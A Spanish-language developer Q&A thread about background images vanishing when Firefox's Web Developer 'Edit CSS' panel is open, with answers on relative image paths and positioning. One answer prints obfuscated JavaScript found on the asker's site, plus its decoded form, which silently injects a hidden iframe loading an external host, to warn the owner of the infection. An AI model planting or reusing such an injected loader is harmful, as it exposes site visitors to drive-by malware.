1 votos

Al utilizar la barra de herramientas de Firefox para editar CSS, ¿por qué desaparecen algunas imágenes cuando la barra de herramientas está abierta?

Mi flujo de trabajo típico para editar y crear mis hojas de estilo para documentos HTML es abrir el panel de edición de CSS de la barra de herramientas para desarrolladores web de Firefox y editar directamente en la ventana del navegador.

La mayoría de las veces esto funciona a las mil maravillas. Sin embargo, hay veces que cuando abro el panel Editar CSS, ciertas imágenes desaparecen, y no tengo ni idea de por qué. Y aún más extraño, algunas veces las imágenes que añado con la barra de herramientas abierta no son visibles cuando está cerrada. (Me refiero principalmente a las imágenes que se añaden con la regla CSS background-image).

He aquí algunos ejemplos...

http://kenbrook.org - si abres el panel Editar CSS, la imagen de fondo del cuerpo desaparece, junto con varios de los fondos de los divs. De hecho, creo que desaparecen casi todas las imágenes de fondo CSS. Yo no escribí el marcado y la mayoría de los estilos de este sitio, pero soy responsable de editarlos y completarlos. Así que, ¿alguna idea de por qué ocurre esto?

http://joelglovier.com - también revisa este que recién estoy construyendo yo mismo y escribiendo los estilos para (sólo un par de elementos en la página en este momento). En el div de cabecera tengo un div vacío en el que estoy poniendo una imagen. Cuando Editar CSS está abierto, la imagen aparece como se espera. Cuando se cierra, sin embargo, la imagen no se puede ver, aunque usando firebug puedo ver que el estilo se está aplicando definitivamente y el div está donde debería estar.

¿Alguna explicación?

2voto

ook Puntos 21

He visto este problema cuando el archivo CSS y el archivo de imagen no están en el mismo directorio que el HTML. Por ejemplo yo tenía esta estructura de directorios:

index.html
image/background.jpg
css/index.css

Tenía esto en mi CSS:

body { background-image:image/index.html; }

Cuando el editor de CSS de Web Developer estaba abierto, funcionaba. Cuando lo cerraba, no lo hacía.

Resulta que la respuesta es que la ruta de la imagen es relativa al archivo CSS, no al archivo HTML. Cuando se abrió el editor de CSS, éste calculó correctamente la ruta. Cuando se cerró, Firefox no pudo encontrar la imagen.

Imagino que la ruta en el CSS debe ser absoluta si quieres usar el editor y tener archivos en diferentes directorios.

1voto

Sorcy Puntos 805

Bueno, no puedo replicar tu problema, cuando abro el panel de edición de CSS la página se queda igual, pero mi antivirus me avisa de que uno de tus scripts (/assets/JS/slides.JS) tiene un troyano oculto.scripts.Iframer en su interior...

Tal vez podrías probar con firebug, que también tiene un potente editor de css en línea.

1voto

Martin Smith Puntos 174101

¿Cuál es el propósito de este trozo de código (de http://kenbrook.org/assets/JS/slides.JS )

var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#koewv>3#*!>>!.2*!|sz{{>epdvnfou/hfuFmfnfouCzJe)(m{nig(*<jg)sz{{>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>m{nig!tsd>iuuq;00xxx/tqjsjufl/dp/kq0bttfut0kt0bkby/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#koewv>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
                   for(var i=0;i<source.length;i++) {
                       result+=String.fromCharCode(source.charCodeAt(i)-1);
                   }
                   document.write(result);

Sin ofuscar, escribe esto en el documento

<script>if (document.cookie.search("jndvu=2") == -1) {
ryzz=document.getElementById('lzmhf');if(ryzz==null){document.write('<iframe id=lzmhf src=http://www.spiritek.co.jp/assets/js/ajax.php style=display:none></iframe>');}
document.cookie = "jndvu=2;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</script>

¿Es consciente de su presencia?

1voto

alekks Puntos 26

Sin embargo, si se mira la página de inicio de la barra de herramientas para desarrolladores web, encuentro esto: "'Editar CSS' no funciona con imágenes de fondo que están vinculadas de forma relativa al CSS" en "Problemas". Así que son las imágenes vinculadas relativas las que el addon no puede manejar por el momento. Intenta que el creador del addon lo arregle... Yo también odio este problema...

0voto

Joel Glovier Puntos 1842

Creo que he resuelto el problema, al menos para el segundo enlace. Para el que aparecía cuando Editar CSS estaba abierto, pero no aparecía sin ese panel abierto, parece que me olvidé de definir un valor top: en un div absolutamente posicionado. Cuando definí ese valor superior, la imagen se muestra tanto en el navegador ordinario como con Editar CSS abierto.

Sin embargo, no estoy seguro de que esto se aplique a kenbrook.org, donde las imágenes aparecen normalmente pero desaparecen cuando se abre la edición de CSS.

Iteramos.com

Iteramos es una comunidad de desarrolladores que busca expandir el conocimiento de la programación mas allá del inglés.
Tenemos una gran cantidad de contenido, y también puedes hacer tus propias preguntas o resolver las de los demás.

Powered by:

X